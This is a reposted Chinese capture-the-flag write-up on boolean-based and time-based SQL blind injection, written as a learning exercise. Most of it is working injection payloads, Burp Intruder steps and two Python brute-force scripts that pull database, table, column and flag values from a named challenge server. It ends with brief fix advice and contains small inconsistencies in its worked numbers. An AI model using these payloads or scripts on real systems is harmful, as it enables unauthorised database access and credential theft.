SQL盲注的簡單分析


前言

最近做了些基於布爾盲注和基於時間盲注的CTF題,掌握了CTF題中SQL盲注的三種解法,收獲很大,於是結合題目分享一下。

BASE-Blind-Inject

題目信息

題干分析

第一次走進誤區,剛看到這道題的時候

看到了登錄框,第一印象應該就是簡單的閉合注入,測試后發現是雙引號閉合,所以構造payload注入

" or 1=1# 


果然注入進去了。雖然沒有出現flag,但給予了提示“flag就在數據庫里面”,然后又想到題目標題,翻譯成“簡單盲注”
並且flag在數據庫?有頁面返回?所以應該想到這是SQL注入的一種注入方式叫做布爾盲注,並且是POST型。

知識了解

布爾盲注

  1. 布爾盲注利用前提
    頁面沒有顯示位,沒有輸出SQL語句執行錯誤信息,只能通過頁面返回正常不正常來判斷是否存在注入。
  2. 布爾盲注利用
  3. 該語句判斷數據庫個數,當數據庫個數大於n頁面顯示正常
    (select count(schema_name) from information_schema.schemata)> n 
  4. 該語句判斷數據庫內第一個數據庫名有多少字符,字符個數大於n頁面顯示正常
    (select length(schema_name) from information_schema.schemata limit 0,1)> n 
  5. 該語句判斷第一個庫第一個字符是什么,ascii值大於n頁面顯示正常
    (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n 
    相關函數
  6. Length()函數 返回字符串的長度
  7. substr()截取字符串,偏移是從1開始,而不是0開始
  8. ascii()返回字符的ascii碼
  9. count(column_name)函數返回指定列的值的數目(NULL 不計入)

開始測試

  1. 測閉合方式
    輸入' or 1=1#不回顯
    輸入" or 1=1#正常
    可判定是雙引號閉合。
  2. 測長度
    判斷數據庫名的長度
    輸入" or (length(database())=10)--+正常
    說明長度為8。
  3. 測字符
    用substr()截取字符串的每個字符,ascii()將字符串轉換成其ASCII碼
    輸入" or (ascii(substr(database(),1,1))>97)--+正常

盲注開始

費心勞神-手工盲注

利用二分法進行手工盲注。手工盲注可以使用BurpSuite,構造payload在Repeater點擊Go進行發包,這樣會比較便捷。
1.猜庫
用到獲取當前數據庫函數database()

  • 猜庫長

    " or (length(database())=10)--+正常 


    所以數據庫長度為10

  • 猜庫名
    第一個字符

    " or (ascii(substr(database(),1,1))>32)--+正常
    " or (ascii(substr(database(),1,1))>128)--+不回顯 " or (ascii(substr(database(),1,1))>80)--+正常 " or (ascii(substr(database(),1,1))>104)--+不回顯 " or (ascii(substr(database(),1,1))>92)--+正常 " or (ascii(substr(database(),1,1))>98)--+正常 " or (ascii(substr(database(),1,1))>101)--+不回顯 " or (ascii(substr(database(),1,1))>100)--+不回顯 " or (ascii(substr(database(),1,1))>99)--+不回顯 



    說明數據庫名的第一個字符ASCII碼為99,即“c”。
    第二個字符

    " or (ascii(substr(database(),2,1))>32)--+正常
    " or (ascii(substr(database(),2,1))>128)--+不回顯 " or (ascii(substr(database(),2,1))>80)--+正常 " or (ascii(substr(database(),2,1))>104)--+不回顯 " or (ascii(substr(database(),2,1))>92)--+正常 " or (ascii(substr(database(),2,1))>98)--+正常 " or (ascii(substr(database(),2,1))>101)--+正常 " or (ascii(substr(database(),2,1))>102)--+正常 " or (ascii(substr(database(),2,1))>103)--+正常 

    說明數據庫名的第二個字符ASCII碼為104,即“h”。
    依次猜解,最終得到數據庫名:challenges

2.猜表

  • 猜表長

    " or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常 

    所以數據表長度為6

  • 猜表名
    第一個字符

    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32)--+正常
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118)--+不回顯 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117)--+不回顯 

    說明數據表名的第一個字符ASCII碼為117,即“u”。
    依次猜解,最終得到數據表名:user_2

3.猜字段

  • 猜字段長

    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常 
    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常 
    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常 

    所以user_2表的數據字段長度分別為2、8、8

  • 猜字段名
    第一個字段

    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>32)--+正常
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>128)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>80)--+正常 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>104)--+正常 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>116)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>110)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>107)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>106)--+不回顯 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>105)--+不回顯 

    所以user_2表的第一個字段的字段名的第一個字符ASCII碼為105,即“i”。
    猜第二個字段把limit 0,1改為limit 1,1
    猜第三個字段把limit 0,1改為limit 2,1
    依次猜解,最終得到user_2表的3個字段名分別為:id username password

3.猜數據

  • 猜數據長

    " or (length((select password from challenges.user_2 limit 1,1))=32)--+正常 

    所以user_2表的password字段的第2條數據的數據長度為32,這個應該就是flag那條數據了

  • 猜數據值

    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>32)--+正常
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>128)--+不回顯 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>80)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>104)--+不回顯 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>92)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>98)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>101)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>102)--+不回顯 

    說明user_2表的password字段的第2條數據(limit 1,1意思是從1開始取(即第二條數據),取一條數據。)的數據值的第一個字符ASCII碼為102,即“f”。
    依次猜解,最終得到flag

簡便之法-BurpSuite半自動化盲注

一步一步的利用二分法進行手工盲注,是不是有點麻煩了呢?能不能讓BurpSuite自己進行按順序進行一個一個猜解呢?
於是用到了BurpSuite的一個功能模塊Intruder,構造payload設置變量進行爆破,然后根據返回長度進行排序整理。
1、爆庫
payload

" or (ascii(substr(database(),§1§,1))=§32§)--+ 
  1. 先隨便輸入用戶名和密碼,然后BurpSuite抓包,發送到Intruder

  2. 設置Positions

  3. 設置兩個變量的爆破類型

  4. 開始爆破,根據返回長度確定爆破結果

  5. 排序、轉換字符
    payload2那一列即是數據庫名每個字符的ASCII碼,按照payload1進行排序,再轉換成字符,得到數據庫名

2、爆表
payload

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+ 
  1. 與爆庫的不同之處就是payload和結果長度,改一下

  2. 開始爆破,根據返回長度確定爆破結果

  3. 排序、轉換字符

3、爆字段
payload

" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1),§1§,1))=§32§)--+ 
  1. 與爆庫的不同之處就是payload和結果長度,改一下(結果長度改為8)
  2. 開始爆破,根據返回長度確定爆破結果

  3. 排序、轉換字符

3、爆數據
payload

" or (ascii(substr((select password from challenges.user_2 limit 1,1),§1§,1))=§32§)--+ 
  1. 與爆庫的不同之處就是payload和結果長度,改一下(結果長度改為32)
  2. 開始爆破,根據返回長度確定爆破結果

  3. 排序、轉換字符

提高效率
為了省去轉換字符並減少爆破時間,可以選擇不使用ascii()函數,第二個變量的爆破類型改成Simple list
如:爆庫
payload

" or (substr(database(),§1§,1)='§a§')--+ 


爆破結果:

發現沒有區分大小寫,所以再通過每個字符的ascii碼是否大於等於97判斷每個字符是大寫還是小寫,小於97即大寫。
這樣就提高了一點效率。

神來之筆-腳本盲注

使用BurpSuite半自動化盲注,看似可以。但是不是有一種方法,可以不用其他操作,輕松得到數據庫的信息呢?於是想到使用腳本進行盲注來提高效率。布爾盲注腳本如下:

import requests chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+' postdata={ 'username':'" or 1=1#', 'password':'admin' } url="http://35.201.188.231:9000/challenge-02/post.php" r=requests.post(url,data=postdata) length=len(r.text) def name(url,length): dbname='' print("數據庫名:",dbname) payload='" or ascii(substr(database(),{0},1))={1} #' #print("數據表名:",dbname) #payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#' #print("字段名:",dbname) #payload='"or ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1),{0},1))={1}#' #print("數據:",dbname) #payload='" or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#' for i in range(1,40): char='' for x in chars: char_ascii=ord(x) payloads=payload.format(i,char_ascii) postdata={ 'username':payloads, 'password':'admin' } r=requests.post(url,data=postdata) if len(r.text) == length: dbname+=x print(dbname) char=x break if char=='': break return dbname name(url,length) 

測試一下

如果傳參方式是get傳參,只需在url后添加? 參數名=,再將requests.post改成requests.get即可。

BASE-TIME-BLIND-INJECT

題目信息

題干分析

第二次走進誤區,剛看到這道題的時候

從題目標題看出是時間盲注。試了單引號閉合和和雙引號閉合,結果並沒有什么用,於是查看了一下源碼,發現關鍵點了。竟然有源碼可以下載!

查看下載的源碼,發現是 '" 閉合,並且傳參為POST傳參。

知識了解

時間盲注

  1. 時間盲注利用前提
    頁面上沒有顯示位,也沒有輸出SQL語句執行錯誤信息。 正確的SQL語句和錯誤的SQL語句返回頁面都一樣,但是加入sleep(5)條件之后,頁面的返回速度明顯慢了5秒。
  2. 時間盲注利用
  3. 該語句判斷數據庫個數,當數據庫個數等於n頁面返回延遲5秒
    if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1) 
  4. 該語句判斷數據庫內第一個數據庫名有多少字符,字符個數等於n頁面返回延遲5秒
    if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1) 
  5. 該語句判斷第一個庫第一個字符是什么,ascii值等於n頁面返回延遲5秒
    if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1) 
    相關函數
  6. Length()函數 返回字符串的長度
  7. substr()截取字符串
  8. ascii()返回字符的ascii碼
  9. sleep(n):將程序掛起一段時間 n為n秒
  10. if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
  11. count(column_name)函數返回指定列的值的數目(NULL 不計入)

開始測試

  1. 測試語句
    輸入'" or if(1=1,sleep(5),1)#延遲5秒
    輸入'" or if(1=2,sleep(5),1)#正常
  2. 測長度
    判斷數據庫名的長度
    輸入'" or if((length(database())=10),sleep(5),1)--+延遲5秒
    說明長度為8。
  3. 測字符
    用substr()截取字符串的每個字符,ascii()將字符串轉換成其ASCII碼
    輸入'" or if((ascii(substr(database(),1,1))>97),sleep(5),1)--+延遲5秒

盲注開始

費心勞神-手工盲注

同樣利用二分法進行手工盲注,與布爾盲注不同之處是頁面上沒有回顯,所以使用了if()函數和sleep()函數,根據返回時間判斷。同樣可以使用BurpSuite進行測試。
1.猜庫
用到獲取當前數據庫函數database()

  • 猜庫長

    '" or if((length(database())=10),sleep(5),1)--+延遲5秒 


    所以數據庫長度為10

  • 猜庫名
    第一個字符

    '" or if((ascii(substr(database(),1,1))>32),sleep(5),1)--+延遲5秒
    '" or if((ascii(substr(database(),1,1))>128),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>80),sleep(5),1)--+延遲5秒 '" or if((ascii(substr(database(),1,1))>104),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>92),sleep(5),1)--+延遲5秒 '" or if((ascii(substr(database(),1,1))>98),sleep(5),1)--+延遲5秒 '" or if((ascii(substr(database(),1,1))>101),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>100),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>99),sleep(5),1)--+正常 



    說明數據庫名的第一個字符ASCII碼為99,即“c”。
    依次猜解,最終得到數據庫名:challenges

2.猜表

  • 猜表長

    '" or if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延遲5秒 

    所以數據表長度為6

  • 猜表名
    第一個字符

    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延遲5秒
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117),sleep(5),1)--+正常 

    說明數據表名的第一個字符ASCII碼為117,即“u”。
    依次猜解,最終得到數據表名:user_3

3.猜字段

  • 猜字段長

    '" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1))=2),sleep(5),1)--+延遲5秒 
    '" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 1,1))=8),sleep(5),1)--+延遲5秒 
    '" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1))=8),sleep(5),1)--+延遲5秒 

    所以user_3表的數據字段長度分別為2、8、8

  • 猜字段名
    第一個字段

    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>110),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>107),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>106),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>105),sleep(5),1)--+正常 

    所以user_3表的第一個字段的字段名的第一個字符ASCII碼為105,即“i”。
    依次猜解,最終得到user_3表的3個字段名分別為:id username password

3.猜數據

  • 猜數據長

    '" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延遲5秒 

    所以user_3表的password字段的第2條數據的數據長度為25,這個應該就是flag那條數據了

  • 猜數據值

    '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>32),sleep(5),1)--+延遲5秒
    '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>128),sleep(5),1)--+正常 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>80),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>104),sleep(5),1)--+正常 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>92),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>98),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>101),sleep(5),1)--+延遲5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>102),sleep(5),1)--+正常 

    說明user_3表的password字段的第2條數據(limit 1,1意思是從1開始取(即第二條數據),取一條數據。)的數據值的第一個字符ASCII碼為102,即“f”。
    依次猜解,最終得到flag

簡便之法-BurpSuite半自動化盲注

和布爾盲注一樣,時間盲注是不是也可以進行構造payload,並設置變量進行爆破呢?發現與布爾盲注不同之處就是使用了sleep()和if()。並且對爆破結果要根據返回時間進行整理排序。
1、爆庫
payload

" or if((ascii(substr(database(),§1§,1))=§32§),sleep(5),1)--+ 
  1. 先隨便輸入用戶名和密碼,然后BurpSuite抓包,發送到Intruder

  2. 設置Positions

  3. 設置兩個變量的爆破類型

  4. 開始爆破,根據返回時間確定爆破結果


    凡是Timer>10000的payload2即為數據庫名的每個字符的ASCII

  5. 排序、轉換字符
    Timer>10000的payload2每個字符的ASCII碼,按照payload1進行排序,再轉換成字符,得到數據庫名

2、爆表
payload

" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§),sleep(5),1)--+ 

與爆庫的不同之處就是payload和結果長度(結果長度由10改為6)。然后開始爆破,根據返回時間確定爆破結果。
最后排序、轉換字符。最后得到表名為:user_3

3、爆字段
payload

" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1),§1§,1))=§32§),sleep(5),1)--+ 

上述payload爆第三個字段,與爆庫的不同之處就是payload和結果長度,改一下(結果長度改為8)。
然后開始爆破,根據返回時間確定爆破結果。最后排序、轉換字符,得到第三個字段為:password

3、爆數據
payload

" or if((ascii(substr((select password from challenges.user_3 limit 1,1),§1§,1))=§32§),sleep(5),1)--+ 

與爆庫的不同之處就是payload和結果長度,改一下(結果長度改為25)。然后開始爆破,根據返回時間確定爆破結果。
最后排序、轉換字符,得到最終flag。
提高效率
當然時間盲注也可以用布爾盲注的那種方法提高效率,即選擇不使用ascii()函數。與布爾盲注不同之處是使用了sleep()函數和if(expr1,expr2,expr3)函數。

神來之筆-腳本盲注

和布爾盲注一樣,是不是也可以寫一個時間盲注腳本來提高效率呢?於是想到用python里的time.time()函數,返回當前時間的時間戳。記錄提交和返回過程的時間差,然后進行判斷。時間盲注腳本如下:

import requests import time import string import sys chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+' url="http://35.201.188.231:9000/challenge-03/post.php" dbname='' payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #" print("數據庫名:",dbname) #payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #" #print("數據表名:",dbname) #payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #" #print("字段名:",dbname) #payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #" #print("數據:",dbname) for i in range(1,40): char='' for x in chars: char_ascii=ord(x) payloads=payload.format(i,char_ascii) start=time.time() postdata={ 'username':payloads, 'password':'admin' } r=requests.post(url,data=postdata) if (time.time() - start)>=5: dbname+=x print(dbname) char=x break if char=='': break 

測試一下

同樣如果傳參方式是get傳參,只需在url后添加? 參數名=,再將requests.post改成requests.get即可。

SQL盲注的利用

在一些SQL注入中往往有用到SQL盲注的方法,進行猜解數據庫信息。比如在order by排序注入中,利用基於時間盲注的方法。

select * from users order by id desc; 

因為desc是可控的傳參值。所以可進行注入
基於時間盲注

?order=if(1=1,1,sleep(5)) 正常響應時間 ?order=if(1=2,1,sleep(5)) 延遲5

SQL盲注漏洞的修復方案

SQL盲注的危害大家也都看到了,但是我們該如何防止這種情況的發生呢?
簡單來講,就是永遠不要相信用戶的輸入。所以要對請求進行過濾,對參數進行驗證,對非法字符進行攔截替換,清理用戶輸入的危險字符,保證sql能夠在數據庫中正確的編譯和執行。這便是解決SQL盲注的簡單思路。

當然,還有另一種方法,就是不使用SQL拼接語句。先在后台進行SQL查詢,然后將查詢結果與用戶輸入進行比對。

總結

從兩道SQL盲注的CTF題中,明白SQL盲注的三種解法,以及SQL盲注的危害和利用。同時也想到一些修復方案。
總之收獲很大。但本人文采有限,操作生疏。若有任何不當之處,還望各位師傅指出。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM